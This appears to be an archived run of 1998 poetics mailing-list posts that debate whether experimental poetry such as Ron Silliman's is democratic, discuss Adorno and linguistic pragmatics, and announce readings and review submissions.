The sun itself demands no explanation, but this cargo cult of nouns sings its own song, its own name, again and again.

It just seems to me that one could spend a whole class, in an advanced or beginning poetry workshop, getting students pretty excited about talking about just these three "lines" of the poem and what they might mean, what they might

invite of the reader, and on the issue of whether or not this is more DEMOcratic than a lot of poetry out there.

And if you read the rest of the poem, you may ended up getting carried away by its wit, humor, and hard-hitting impact as well.

(spoken as an unabashed supporter of the work, being its publisher in book form)

Charles Alexander

At 01:01 PM 10/8/98 -0400, you wrote:
>Aviva, I understand your skepticism about this claim to "democracy" and
>certainly if I writer's opacity is simply a matter of adopting a private
>code then I say to hell with him. But Silliman's work, just to be
>specific, is determinedly public:
>
>   A moment
>   not a movement, and the moment's past.
>   It makes you look on those Mickey Mouse
>   beach towels used as curtains
>   with a renewed sense of wonder. Like housepainters
>   without a truck carrying stepladders
>   up the block. The way blue ink fades
>   when the pen runs dry (What, 111).
>
>There's nothing here on the level of vocabulary or image that almost
>anyone speaking any American vernacular wouldn't understand. The
>difficulty of *What* is about sentence connections - but thematically that
>seems entirely appropriate, something about which I've had fair success
>convincing my students. Look at these sentences: there about ephemeral,
>decontextualized experience, Making sense of them is alot like making
>sense of the painters - what the hell are they doing there? where's their
>truck? This is about the logical connection we rely on being removed, at
>which point we become aware that we're always making narratives to fill in
>logical gaps - this can be simply a matter of quick accomodation, or, and
>this seems to me the more interesting possibility, a matter of stepping
>into those gaps & looking around, doing some extra-textual creative work
>of one kind or another. The point being, this isn't tabula rasa; Silliman
>isn't saying, here's a space where you can do whatever you want. He's
>encouraging dialogue - it's an antiphonal model, I think. Pedagogically,
>I encourage students to look for common ground first & then work toward
>the incoherent spaces. -m.
>

> According to Aviva Vogel: >
>> I often have the same experience, or something similar, when reading certain
>> "experimental," or what I feel is heavily opaque, poetry. Actually, I would
>> say instead of "I think I'm being made fun of here, that "I think I'm being
>> completely ignored here," rather than attribute any malicious or sadistic
>> intent to the writer. I can feel invisible, not usually mocked. But how
>> democratic is that? To be left completely alone, isolated, with a "template"
>> style of writing which can be interpreted any way I choose, with whatever
>> perceptual tools/capacities I choose? Is that "democracy?" As I ask this
>> question, I realize that the isolation I sometimes feel with extremely opaque,
>> "private" writing IS, in fact, a prominent quality of the capitalist version
>> of democratic culture, as I experience it. So....why not, in that case, just
>> read a stone? or a tarot card? I haven't read Silliman's DEMO, so I don't
>> refer to that particular work in my impulsive response. I refer instead to
>> work that leaves me with a sense that I, as reader, have either been left out
>> of the equation, or left to my own devices, or used as if I were an
>> undiscerning and gullible audience who was willing to watch someone
>> "experiment" on my time, with no effort to offer anything in return for the
>> time I've invested. Anyway...this is a "feeling-level" response, rather than
>> a thoughtful one. I simply find it quite ironic that writing which claims to
>> be "democratic" and "egalitarian" can often leave a reader feeling "one-down,"
>> "invisible," "isolated," and "unequal" (to the task).
>>
>> << I downloaded part of Ron Silliman's "D E M O" (with citation!) and
>> circulated it among the class. Silence. More silence. Then the remark:
>> "I think I'm being made fun of here." I tried to explain that the poem
>> offered a more democratic model of writer/reader relations, and perhaps
>> that explained the "funny feeling", but to no avail. We moved on . . . . >>
>>
>
>

charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

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222. ken|n|ing

Re: hejinian/coolidge/rova event

Thu 8 Oct 1998

Tom etc. -- I'll be attending most of these events & will try to post something useful to the list about it. -- Patrick F. Durgin

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                    |
                    |
k e n n i n g``````|``
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a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

On Thu, 8 Oct 1998, Tom Orange wrote:

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> *tom*
> *([redacted])*
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223. **miekal and**
An afternoon with Peter Lamborn Wilson
Thu 8 Oct 1998

The Beginning of civilization -- the long long Babylonian CON -- "History" starts at Sumer with the invention of sacred kingship -- and Temple-based debt system. Separation and alienation are not universal human conditions -- they have historic origins. Does it do us any good to know these things? The date and place of our disenfranchisement? I need to know -- please come and discuss. --PLW

a talk by

PETER LAMBORN WILSON
@ DREAMTIME VILLAGE

October 24, 1998 1PM

$5-$10 donation for the event.

author of: Angels, Little Book of Angel Wisdom; Temporary Autonomous Zone; Sacred Drift; Pirate Utopias; Gone to Croaton; Ploughing the Clouds : The Soma Ceremony in Ancient Ireland; Scandal : Studies in Islamic Heresy; The Drunken Universe : An Anthology of Persian Sufi Poetry; Immediatism; Millenium

A potluck will follow, bring a dish to share. & a dance party following that. Call ahead for overnight accommodations. You are also invited to help out in our first prairie burn on Oct 23 @ noon. We will be burning 10 acres. Wear appropriate clothing.

for more info or directions to Dreamtime Village (in southwestern WI)
call [redacted]
--
-Dreamtime Village-
<http://net22.com/dreamtime/index.shtml>

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224. **henry**
Re: the sense of being right
Thu 8 Oct 1998

Aldon, I would have to be better read on Adorno to say anything about his take on art autonomy. Peter Burger in this classic text I'm reading (Theory of the Avant-Garde) - no actually the guy writing the intro, Schulte-Sasse - tries to distinguish between Burger's theory & Adorno's - says Adorno was finally a pessimist about art's ability to influence society, because he failed to recognize that art as we know it is mediated to "bourgois-capitalist society" by the

INSTITUTION called "art". & that early 20th-cent. avant-garde is essentially an attack on the INSTITUTION of art for the sake of redefining art's relation to society (& thereby redefining what art is).

I dunno Adorno.

But the general idea of artists as resentful alienated guys upset at being displaced by capitalist commercial pulp culture & thus being the vanguard of a new society is only true if you equate artists with intellectuals. I'm not willing to grant intellectuals that honor. See Montale on these questions. Intellectuals can talk our way to socialism, fine. But that doesn't make them poets. - Henry G.

↑ Index

225. **Michael Magee**

Re: Langpo & Lingprag

Thu 8 Oct 1998

Roger, I don't know who's teaching your "linuistic pragmatics" course but he/she seems not to have read any pragmatists (am I right to assume that that befuddled reaction to Silliman was the *professor's* reaction?). In any event, as I've argued probably too much on this list, American experimental writing is deeply pragmatic. There is no Stein as we know her w/out William James, for instance. Take this:

"We ought to say a feeling of *and*, a feeling of *if*, a feeling of *but*, and a feeling of *by*, quite as readily as we say a feeling of *blue* or a feeling of *cold*. Yet we do not: so inveterate has our habit become of recognizing the existence of the substantive parts alone, that langauge almost refuses to lend itself to any other use" (Principles of Psycology, 1: 245-6).

James calls for "a re-instatement of the vague to it's proper place in our mental life" (254), and his sense of such propriety is based on a very pragmatic sense of the usefulness of that re-instatement. I've quoted this before but it may be worth quoting again, if for nothing else than to give you, perhaps, some ammunition for your next attempt to bring lang po to class. This is Dewey talking about philosophy but it applies equally to poetry:

"A Philosophy animated, be it consciously or unconsciously, by the strivings of men to achieve democracy will construe liberty as meaning a universe in which there is real uncertainty and contingency, a world which is not all in, and never will be, a world which in some respect is incomplete and in the making, and in these respects may be made this way or that according as men judge, prize, love and labor…a genuine field of novelty, of real and unpredictable increments

of existence, a field for experimentation and invention." See *Characters and Events* (New York: Henry Holt, 1929), Vol. 2, p. 851.

Silliman's experimentalism comes out of real egalitarian desires pragmatically considered (stop me, Ron, if your a closet facist or transcendentalist), and his more socialist hopes are, I would say, just as manifest in his formal decisions. It's just that to argue this case takes work and attention to the details of grammar that most people in a seminar aren't willing or able to do.

-m.

According to Roger Farr:
> > Last night it was my turn to bring some writing in for analysis in a
> "linguistic pragmatics" grad course, here at SFU. From the EPC "Authors"
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> critical works in which a "pragmatic" approach has been used to
> talk about such writing. From this first attempt, it
> seems as though "linguistic pragmatics", or "discourse analysis", is
> unable to address the complexities of experimental writing.
>
> Did someone say "duh"?
>
> Roger
>

↑ Index

226. Dale Smith
the sense of being white
Thu 8 Oct 1998

Henry, one quick question re: Adorno--Do you think what he calls the "culture industry" is the same as "the INSTITUTION called art?" My sense of Adorno's aesthetic criticism is that he held very contradictory views on art's ability to function/exist under current "bourgois-capitalist" systems. You know, the neg dialectic, the snake eating its own tail, etc. Not to deny the pessimism, but to acknowledge the complexity of his views... Dale

Dale

>Aldon, I would have to be better read on Adorno to say anything about
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>take on art autonomy. Peter Burger in this classic text I'm reading
>(Theory of the Avant-Garde) - no actually the guy writing the intro,
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>intellectuals. I'm not willing to grant intellectuals that honor.
>See Montale on these questions. Intellectuals can talk our way to
>socialism, fine. But that doesn't make them poets. - Henry G.
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_____
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227. **Elizabeth Treadwell**
Re: A petition to censure and move on
Thu 8 Oct 1998

Date: Tue, 6 Oct 1998 21:12:29 -0800
>From: Leonard Brink <[redacted]>
>Subject: Re: A petition to censure and move on
>
>Whoever started this thread should be censured for Poetics List
>contamination.
>I mean, this isn't the UB Political Spam List, is it?

I agree.
Elizabeth

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Berkeley, California 94709
U.S.A.
http://users.lanminds.com/~dblelucy

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228. **Karen Kelley**
Re: Langpo & Lingprag
Thu 8 Oct 1998

And linguistic pragmatics is supposed to be what?....

Roger Farr wrote:

> *Last night it was my turn to bring some writing in for analysis in a "linguistic pragmatics" grad course, here at SFU. From the EPC "Authors" page, I downloaded part of Ron Silliman's "D E M O" (with citation!) and circulated it among the class. Silence. More silence. Then the remark: "I think I'm being made fun of here." I tried to explain that the poem offered a more democratic model of writer/reader relations, and perhaps that explained the "funny feeling", but to no avail. We moved on . . . .*
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>
> *Did someone say "duh"?*
>
> *Roger*

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229. **Dale Smith**
Re: Langpo & Lingprag
Thu 8 Oct 1998

Michael, it seems that what Farr is suggesting is a difficulty for a certain group of students who read Silliman's D E M O. The "pragmatics" you discuss is appropriate to Stein, to Silliman--to a whole tradition of poetics that values the influence of philosophical systems over, or in addtion to, other "poetic" systems. But I also think to bring a text of Silliman's to a poetry seminar would be problematic for an instructor, because critical expectations and the critical tools of articulation are varied and complex. Silliman's texts demand a knowledge of philosphical systems in the West. His texts also function within a poetic

tradition more familiar to students of that art. It seems to me that the 'pragmatics' of articulation--poetic, linguistic, philosophical, psychological--are limited by enforced divisions in our thought. In the poem--in Silliman's 'texts'--these elements are complicated, driven into one another, made indistinguishable. I can see how, being submitted to D E M O for the first time might be a bit confusing, and that it calls for more than mere pragmatics from an instructor to engage it, regardless of a pragmatic tradition in the avant garde. The problem here, as always, is how to address the complexities of the whole by way of the contradictory elements of each part, driven by the divisions of our own knowledge. Dale.

>
>Roger, I don't know who's teaching your "linuistic pragmatics" course
but
>he/she seems not to have read any pragmatists (am I right to assume
that
>that befuddled reaction to Silliman was the *professor's* reaction?).
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>>
>> So, I am wondering if anyone on the list has tried to apply such
>> procedures to "experimental writing", or if they know of any
>> critical works in which a "pragmatic" approach has been used to
>> talk about such writing. From this first attempt, it
>> seems as though "linguistic pragmatics", or "discourse analysis", is
>> unable to address the complexities of experimental writing.
>>
>> Did someone say "duh"?
>>
>> Roger
>>
>

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230. Hank Lazer
Re: new issue of Contemporary Literature
Thu 8 Oct 1998

Listafarians:

A couple of essay-reviews that may be of interest in the just published Fall issue of Contemporary Literature:

Maria Damon, "Poetic Canons: Generative Oxymoron or Stalled-Out Dialectic?", pp. 468-474, on Alan Golding's From Outlaw to Classic: Canons in American Poetry.

Hank Lazer, "American Poetry: Accounts of the Present and the Recent Past," pp. 475-504, on Michael Davidson's Ghostlier Demarcations: Modern Poetry and the Material World; Aldon Nielsen's Black Chant: Languages of African-American Postmodernism; and Jed Rasula's The American Poetry Wax Museum: Reality Effects, 1940-1990.

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231. henry
Re: the sense of being white
Thu 8 Oct 1998

Dale, "culture industry" sounds like good slang for the institution of art, but as far as connecting Adorno with this somebody else will have to chime in. For

someone who's never read Adorno, I've already written "Adorno" way too many times. - Henry

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232. **MAYHEW**
Re: the sense of being white
Thu 8 Oct 1998

Culture industry means what we would call "entertainment industry"--popular music, hollywood, etc... I'm not sure Adorno was against "the institution of art" if we mean traditional "high" culture, eg "classical music," literature, paintings. In fact this rather elitist conception of art is exactly what Adorno privileges.

God forbid we should ask students of poetry to know about "philosphical traditions in the West" or linguists interested in "pragmatics" to have read William James. This isn't even about being interdisciplinary, it's about knowing what we are talking about on the most basic level.

Jose Saramago, Portugese novelist, has won the Nobel prize. He is quite well known in Spain; I have seen interviews with him and the like in my frequent trips there, but I've not read him.

On Thu, 8 Oct 1998, henry wrote:

> *Dale, "culture industry" sounds like good slang for the institution of art, but as far as connecting Adorno with this somebody else will have to chime in. For someone who's never read Adorno, I've already written "Adorno" way too many times. - Henry*

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233. **Poetry Project**
down the bottle
Thu 8 Oct 1998

> *Poetry holds truth value in disregard, preferring what sounds right or looks right -- and poetry that sounds wrong or looks wrong is no better for its asceticism -- it only catches the people who notice that looking right can be a trick.*

I would see a lot of your words as falling, yar, between correct & intriguing Jordan. Speaking of noticing looking right can be a trick, I'd say there's a lot of poets who like to see others see them noticing that looking right can be a trick & thereby trying to look wrong & by extension right. That's some of the current NYC post-innovative avant-gardener biz at the moment. I think in San Francisco there's more ice than in New York, & less anxiety about the rightness of looking

as cleverly wrong as possible. But no one assumes you're right I don't think when you don't climb mountains with anti-trust lawyers 'cause of the hole in your boot which is a known SF occurence. However, it can be further noted that SF & NYC are two of the most provincial poetry crystal balls in the galaxy. Once, anyway, you start saying "poetry" in that general sense doesn't every statement that follows become instantly wrong? & then right? Isn't Jack Spicer just completely lying in all of his poems (especially that cop out line about nobody listening to poetry)? Do the statements on this list qualify as truth because they're prose, or because they're made by folks who know they're wrong when they're right? Isn't it mostly guys here worrying about how to be right all the time but sounding pretty convinced they are even tho' that means they're wrong in expopoetryland?

Anselm Berrigan

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234. MAXINE CHERNOFF
Barbara Guest Reading in Chicago
Thu 8 Oct 1998

Please mark your calendars for an Oct 22, 8pm, reading by Barbara Guest at Columbia College in Chicago. More later on the event, but please note that the ad placed in the Chicago Tribune turns out to have the wrong time on it.

Maxine Chernoff

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235. MAXINE CHERNOFF
Susan Wheeler and Paul Hoover
Thu 8 Oct 1998

Tomorrow night at Small Press Traffic, SF: Susan Wheeler and Paul Hoover

New COllege Theater
777 Valencia Street
7:30 pm

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236. Gary Paul Sullivan
Re: down the bottle
Thu 8 Oct 1998

---

the oft-quoted Spicer poem in question ends

... no
One listens to poetry.

I take the line break to be a hesitation (reconsideration), ending with the positive "One listens to poetry" so that you get

No, one listens to poetry.

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237. David Zauhar
Re: Langpo & Lingprag
Thu 8 Oct 1998

I'm not sure that "pragmatics" as linguists use the term has much to do with the James->Dewey->Rorty lineage of American philosophy, though I could be wrong and am awaiting enlightenment.

I had a better experience presenting a Bob Perelman poem (the title escapes me, but it contained my favorite line, "Slay a piece of Shit / Syntax as usual") to a seminar of graduate students in a course on discourse analysis. They were a bit baffled by the poem, but got into by trying to identify the various discursive practices that constitute that poem (medical, advertising/promotion, etc). There were still a few people who had trouble with the fact that the poem didn't make sense in the way that a "real poem" (or a Hallmark greeting card for that matter) makes sense. What to do? I wondered. Still, it sounds like my colleagues did better than the lingprag crowd.

David Zauhar
University of Illinois at Chicago

... not being born is
the only tragedy
that we can imagine
but need never fear

--Alden Nowlan

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238. Michael Scharf
Publishers Weekly
Thu 8 Oct 1998

Publishers Weekly publishes poetry reviews not weekly but monthly, on the last Monday of every month, with ten or so full reviews (capsules of about 250 words) and ten or so "notes" (shorter) appearing each time. Forthcoming reviews include Bob Perelman's _The Future of Memory_, Mei-mei

Berssenbrugge's _Four Year Old Girl_ and many others of interest. It would be wonderful if more poets and publishers on the list would submit books for review. Here's how it works:

PW Forecasts, the reviewing side of the magazine, is a "pub date" driven affair. The aim is for the reviews to reach bookstore buyers and others before the book is published. That means that titles need to be submitted for review a *minimum* of three months before they "pub."

For most publishers, that means sending some sort of mock-up of the book (a set of typeset pages, or a typescript), rather than a finished book for review. Said mock-up must be held together in some way, be it comb binding, three hole punch, heavy duty staple, or whatever (the actual book is also OK) and accompanied by a letter with the following information:

publisher's name, address, phone, fax, etc.
book's title, author, price, binding, ISBN number
eventual number of pages in the finished book
distributor, if any
month of publication

All the above info. is essential, and the pub month particularly so. (If you submit a title for review that you then find will be later than expected, please send an alert.) A short bio of the author and list of previous titles published by the press help. Send material to

Poetry Forecasts
Publishers Weekly
245 West 17th Street
New York, NY 10011

Submissions are not generally returned, and publishers are usually not notified that a book will be reviewed. To check in, fax Forecasts at [redacted] or send a letter to the above.

PW is skewed toward big corp. publishers, no question. Small press titles published in the months of September, October, November & March, April, May, June are more likely to be squeezed out by the larger presses, who tend toward fall & spring lists. Chapbooks are almost never reviewed. Publishers with a distributor (like SPD) are much more likely to be reviewed than those without.

Roof, Atelos, O, Tender Buttons, Kelsey Street, Talisman, What and others have had or will have had titles reviewed or mentioned in the last year or so. It would be great to add to that list. Often, books that aren't selected are sent along to reviewers anyway, in the hope that they will pitch a review elsewhere.

PW has a circulation of, I think, nearly 40,000 (all of whom avidly read the poetry reviews) and tells prospective advertisers it reaches more than twice that. Subscriptions are absurdly expensive, but most local and university libraries get it. Even if it's not displayed as part of the library's current periodicals, the librarian in charge of acquisitions might be persuaded to allow a perusal of internal copies.

Thanks --Mike

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239. **Aviva Vogel**
Re: Langpo & Lingprag
Thu 8 Oct 1998

I often have the same experience, or something similar, when reading certain "experimental," or what I feel is heavily opaque, poetry. Actually, I would say instead of "I think I'm being made fun of here, that "I think I'm being completely ignored here," rather than attribute any malicious or sadistic intent to the writer. I can feel invisible, not usually mocked. But how democratic is that? To be left completely alone, isolated, with a "template" style of writing which can be interpreted any way I choose, with whatever perceptual tools/capacities I choose? Is that "democracy?" As I ask this question, I realize that the isolation I sometimes feel with extremely opaque, "private" writing IS, in fact, a prominent quality of the capitalist version of democratic culture, as I experience it. So....why not, in that case, just read a stone? or a tarot card? I haven't read Silliman's DEMO, so I don't refer to that particular work in my impulsive response. I refer instead to work that leaves me with a sense that I, as reader, have either been left out of the equation, or left to my own devices, or used as if I were an undiscerning and gullible audience who was willing to watch someone "experiment" on my time, with no effort to offer anything in return for the time I've invested. Anyway...this is a "feeling-level" response, rather than a thoughtful one. I simply find it quite ironic that writing which claims to be "democratic" and "egalitarian" can often leave a reader feeling "one-down," "invisible," "isolated," and "unequal" (to the task).

<< I downloaded part of Ron Silliman's "D E M O" (with citation!) and circulated it among the class. Silence. More silence. Then the remark: "I think I'm being made fun of here." I tried to explain that the poem offered a more democratic model of writer/reader relations, and perhaps that explained the "funny feeling", but to no avail. We moved on . . . . >>

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240. Chicago Review
Frank Bidart Reading
Thu 8 Oct 1998

To all Chicago-area list members:

Frank Bidart will give a poetry reading Tuesday, October 20, 7 pm, at Northwestern University's Mary & Leigh Block Gallery, 1967 S. Campus Dr.

For more information, call the NU English Dept. at 847/[redacted].

Andrew Rathmann

Chicago Review
5801 S. Kenwood Ave.
Chicago IL 60637-1794
ph/fax [redacted]
e-mail [redacted]

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241. Karen Kelley
Re: Langpo & Lingprag
Thu 8 Oct 1998

I often have the same experience, or something similar, when reading certain "mainstream," or what I feel is heavily transparent, poetry.

To be left completely alone, isolated, with a style of writing which can, supposedly, be interpreted in one way by its readership, with some set of shared perceptual tools/capacities I refuse/apparently don't have?

As I ask this question, I realize that the isolation I sometimes feel with extremely transparent, "public" writing IS, in fact, a prominent quality of the capitalist version of democratic culture, as I experience it. So....why not, in that case, just read a copy of People magazine? or watch TV?

I haven't read much mainstream work recently, so I don't refer to any particular work in my response. I refer instead to work that leaves me with a sense that I, as reader, have either been left out of the equation, or left to my own devices, or used as if I were an undiscerning and gullible audience who was willing to watch someone tell me what "we all" think, with no effort to let me participate, despite the time I've invested. This, too, is a "feeling-level" response, rather than a thoughtful one. I simply find it quite ironic that writing which claims to be "mainstream" and "transparent" can often leave this reader feeling "one-down," "invisible," and "uninvited."

Aviva Vogel wrote:

> *I often have the same experience, or something similar, when reading certain "experimental," or what I feel is heavily opaque, poetry. Actually, I would say instead of "I think I'm being made fun of here, that "I think I'm being completely ignored here," rather than attribute any malicious or sadistic intent to the writer. I can feel invisible, not usually mocked. But how democratic is that? To be left completely alone, isolated, with a "template" style of writing which can be interpreted any way I choose, with whatever perceptual tools/capacities I choose? Is that "democracy?" As I ask this question, I realize that the isolation I sometimes feel with extremely opaque, "private" writing IS, in fact, a prominent quality of the capitalist version of democratic culture, as I experience it. So....why not, in that case, just read a stone? or a tarot card? I haven't read Silliman's DEMO, so I don't refer to that particular work in my impulsive response. I refer instead to work that leaves me with a sense that I, as reader, have either been left out of the equation, or left to my own devices, or used as if I were an undiscerning and gullible audience who was willing to watch someone "experiment" on my time, with no effort to offer anything in return for the time I've invested. Anyway...this is a "feeling-level" response, rather than a thoughtful one. I simply find it quite ironic that writing which claims to be "democratic" and "egalitarian" can often leave a reader feeling "one-down," "invisible," "isolated," and "unequal" (to the task).*
>
> *<< I downloaded part of Ron Silliman's "D E M O" (with citation!) and circulated it among the class. Silence. More silence. Then the remark: "I think I'm being made fun of here." I tried to explain that the poem offered a more democratic model of writer/reader relations, and perhaps that explained the "funny feeling", but to no avail. We moved on . . . . >>*

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242. Michael Magee
Re: Langpo & Lingprag
Thu 8 Oct 1998

Aviva, I understand your skepticism about this claim to "democracy" and certainly if I writer's opacity is simply a matter of adopting a private code then I say to hell with him. But Silliman's work, just to be specific, is determinedly public:

A moment
not a movement, and the moment's past.
It makes you look on those Mickey Mouse
beach towels used as curtains
with a renewed sense of wonder. Like housepainters
without a truck carrying stepladders

up the block. The way blue ink fades
when the pen runs dry (What, 111).

There's nothing here on the level of vocabulary or image that almost anyone speaking any American vernacular wouldn't understand. The difficulty of *What* is about sentence connections - but thematically that seems entirely appropriate, something about which I've had fair success convincing my students. Look at these sentences: there about ephemeral, decontextualized experience, Making sense of them is alot like making sense of the painters - what the hell are they doing there? where's their truck? This is about the logical connection we rely on being removed, at which point we become aware that we're always making narratives to fill in logical gaps - this can be simply a matter of quick accomodation, or, and this seems to me the more interesting possibility, a matter of stepping into those gaps & looking around, doing some extra-textual creative work of one kind or another. The point being, this isn't tabula rasa; Silliman isn't saying, here's a space where you can do whatever you want. He's encouraging dialogue - it's an antiphonal model, I think. Pedagogically, I encourage students to look for common ground first & then work toward the incoherent spaces. -m.

According to Aviva Vogel: >
> I often have the same experience, or something similar, when reading certain
> "experimental," or what I feel is heavily opaque, poetry. Actually, I would
> say instead of "I think I'm being made fun of here, that "I think I'm being
> completely ignored here," rather than attribute any malicious or sadistic
> intent to the writer. I can feel invisible, not usually mocked. But how
> democratic is that? To be left completely alone, isolated, with a "template"
> style of writing which can be interpreted any way I choose, with whatever
> perceptual tools/capacities I choose? Is that "democracy?" As I ask this
> question, I realize that the isolation I sometimes feel with extremely opaque,
> "private" writing IS, in fact, a prominent quality of the capitalist version
> of democratic culture, as I experience it. So....why not, in that case, just
> read a stone? or a tarot card? I haven't read Silliman's DEMO, so I don't
> refer to that particular work in my impulsive response. I refer instead to
> work that leaves me with a sense that I, as reader, have either been left out
> of the equation, or left to my own devices, or used as if I were an
> undiscerning and gullible audience who was willing to watch someone
> "experiment" on my time, with no effort to offer anything in return for the
> time I've invested. Anyway...this is a "feeling-level" response, rather than
> a thoughtful one. I simply find it quite ironic that writing which claims to
> be "democratic" and "egalitarian" can often leave a reader feeling "one-down,"
> "invisible," "isolated," and "unequal" (to the task).

>
> << I downloaded part of Ron Silliman's "D E M O" (with citation!) and
> circulated it among the class. Silence. More silence. Then the remark:
> "I think I'm being made fun of here." I tried to explain that the poem
> offered a more democratic model of writer/reader relations, and perhaps
> that explained the "funny feeling", but to no avail. We moved on . . . . >>
>

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243. Aldon Nielsen
Re: Younger Poets Issue 10
Thu 8 Oct 1998

Is that the Devil we know or the Devil we don't know? Looks like a great issue -- can you tell us which piece by Jose Lezama Lima has been translated? And, just so I'll know as I read it, did the interview in this issue involve actually speaking with the interview subject?

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244. Roger Day
Re: Langpo & Lingprag
Thu 8 Oct 1998

At 08/10/98 17:27:06, Aviva Vogel <[redacted]> wrote:
I often have the same experience, or something similar, when reading certain
"experimental," or what I feel is heavily opaque, poetry. Actually, I would
say instead of "I think I'm being made fun of here, that "I think I'm being
completely ignored here," rather than attribute any malicious or sadistic
intent to the writer. I can feel invisible, not usually mocked. But how
democratic is that? To be left completely alone, isolated, with a "template"
style of writing which can be interpreted any way I choose, with whatever
perceptual tools/capacities I choose? Is that "democracy?" As I ask this
question, I realize that the isolation I sometimes feel with extremely opaque,

"private" writing IS, in fact, a prominent quality of the capitalist version
of democratic culture, as I experience it. So....why not, in that case, just
read a stone? or a tarot card? I haven't read Silliman's DEMO, so I don't
refer to that particular work in my impulsive response. I refer instead to
work that leaves me with a sense that I, as reader, have either been left out
of the equation, or left to my own devices, or used as if I were an
undiscerning and gullible audience who was willing to watch someone
"experiment" on my time, with no effort to offer anything in return for the
time I've invested. Anyway...this is a "feeling-level" response, rather than
a thoughtful one. I simply find it quite ironic that writing which claims to
be "democratic" and "egalitarian" can often leave a reader feeling "one-down,"
"invisible," "isolated," and "unequal" (to the task).

The first time I came across this response was in a reading group. I'd brought, as a favourite piece, the Wallace Stevens poem "Stars Over Talapoosa". Prior to this, none of this had occurred me. I accepted the poetry for what it was. No baggage about poetics...just savouring the poem for what it is, rather than actively seeking some pre-interred template of meaning. The response "is it a joke" came up there. I guess - and I'm not proselytising here - that re-learning responses can be difficult. Being presented with a new paradigm of reading poetry can be quite daunting. I have sympathy, but only in so far that this is a first-time response - "this is a joke" should, IMO, give way to "why is this joke" and a further deeper engagement with the poetry.

Roger

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245. **Herb Levy**
Re: the sense of being white
Thu 8 Oct 1998

> *For someone who's never read Adorno, I've already written "Adorno" way too many times. - Henry*

Henry,

What address are you using? Ted hasn't answered e-mail from me in a while.

Bests,

Herb

Herb Levy
[redacted]

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246. **henry**
Re: the sense of being white
Thu 8 Oct 1998

On Thu, 8 Oct 1998 10:29:45 -0500 MAYHEW said:
>Culture industry means what we would call "entertainment
>industry"--popular music, hollywood, etc... I'm not sure Adorno was
>against "the institution of art" if we mean traditional "high" culture, eg
>"classical music," literature, paintings. In fact this rather elitist
>conception of art is exactly what Adorno privileges.
>
>God forbid we should ask students of poetry to know about "philosphical
>traditions in the West" or linguists interested in "pragmatics" to have
>read William James. This isn't even about being interdisciplinary, it's
>about knowing what we are talking about on the most basic level.

The thing was, nobody was saying Mr. Adorno was aginst the art institution. Or the culture industry, however you define the borders. Burger's thesis is that the AVANT-GARDE - the specific avant-garde - Dada, Surrealist, others - of the 20s & 30s - was out to overturn the art/culture industry, because they saw for the 1st time how art itself is structured/mediated by the institution of art. That I think is the thesis.

Now this is all very well & good & who looks right or wrong in SF NY and PDNK (Podunk) is a matter of vocabulary more than anything else unless gesture is taken under account, BUT

the question of what kind of world we inhabit, what or who we are, & who decides how we live & where, & who owns what, & who does what, & what civilization is, and what freedom is, & what oppression & peace & deprivation are, & what is art & poetry, & what is life, & what is death, & what are words & poems & music, & what is culture & what is a loon, are just as important perhaps as what's on TV, and

I have often thought that poetry has built-in para- or anti-art capabilities, but this may have been a mistaken assumption, especially if

Brecht was nicer

and then poetry magnets, and
- Henry Gould

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247. p.c. jaeger
TORONTO READING
Thu 8 Oct 1998

Deanna Ferguson & Andrew J. Patterson

will read at the Red Head Gallery
on Thursday, Oct. 15, 8 P.M.

The gallery is at 96 Spadina, 8th floor, Toronto

hope to see you there

Peter Jaeger

please note my new email address: [redacted]

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248. Aldon Nielsen
Re: the sense of being right
Thu 8 Oct 1998

---

as briefly as possible --

a good place to pick up Adorno on these issues is in the essay on "Commitment" (1962), where his direct target is Sartre but Adorno's old debate with Benjamin is still very much in evidence. Adorno rejects both the "art for art's sake" argument commonly attached to early 20th century formalisms, recognizing how often it masks a politics that refuses to name itself as such. But he also rejects Benjamin's claims for the "committed" art of Brecht. Adorno argues that "It is not the office of art to spotlight alternatives, but to resist by its form alone the course of the world, which permanently puts a pistol to men's heads."

Again, while I don't believe for a minute that Adorno's attempts to distinguish "autonomous" from"non-" (?) will hold up, it strikes me that this sounds a great deal like some arguments advanced among poets in recent decades in the U.S. -- and it further strikes me that many critical responses to those poets seem unaware of these earlier debates --

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249. David Baratier
Guilty of being white
Thu 8 Oct 1998

I remember when we used to handwrite words on white t-shirts. I remember when we used to handwrite I'm with stupid on white t-shirts I remember when we used to handwrite the anarchy symbol on white t-shirts

before manufacturing

I "know" nothing of an unquantifyable "thing"
I 'know' nothing of an unquantifyable 'thing'
I know nothing of an unquantifyable thing

↑ Index

250. David W. McFadden
Re: money for poets
Thu 8 Oct 1998

[redacted] writes:
>the proofreader habit doesn't quit after an
>8 hour day.
You didn't have to say that: your spelling speaks volumes. You also have a nice way with a hyphenated compound adjectival phrase.
dwm
"Sometimes a twangle of a thousand instruments seemed to hum around his ears, and he longed for a simple lay."
- George Bowering. Burning Water.

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251. Aldon Nielsen
Re: Langpo & Lingprag
Thu 8 Oct 1998

---

and I'll make this my last today so that I don't use too much of this resource (in my own defense, my average over a longer period is lower than others!)

I seem to recall that "pragmatics" in linguistics has a particular meaning that is not quite the same as philosophical pragmatics -- as our correspondent is currently in a class on the subject, perhaps we might get a clear definition --

at any rate, it would not at all surprise me that people studying linguistic pragmatics would be confounded by a Silliman passage -- students, professors, or casual hangers on -- for much the same reason that Searle and others argue that we shouldn't START with poetry if we want to understand how language

actually operates (the argument he tried to have with Derrida and others in the 70s-80s) --

The pragmatism of James is only tangentially relevant to pragmatics in this sense IF I REMEMBER correctly from my own undergrad. courses in linguistics some twenty very odd years ago -- and my own sense, contra Searle and others, is that Silliman might indeed be a fine starting point, even in pragmatics

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252. David W. McFadden
Re: The 4th decade of experiments
Thu 8 Oct 1998

[redacted] writes:
> I think the poetry of Bernadette
>Mayer or Jackson Mac Low is extremely AUTHENTIC; beside it, quick a lot
>of "nonexperimental" verse is shown up for the "personal voice" gimmick
>it is (or can be)...
Agreed, but with nothing against BM or JM, it's not unusual to notice in
the broader field of artistic endeavour (I'm thinking of torch singers
right now) that the less innovative an artist may be the more authentic
and moving she often can be. Down and dirty is a term that springs to mind.
dwm
"Disappointments have no effect on him - if only one could learn that from
him!"
- Kafka, The Castle.

↑ Index

253. Dale Smith
Re: the sense of being white
Thu 8 Oct 1998

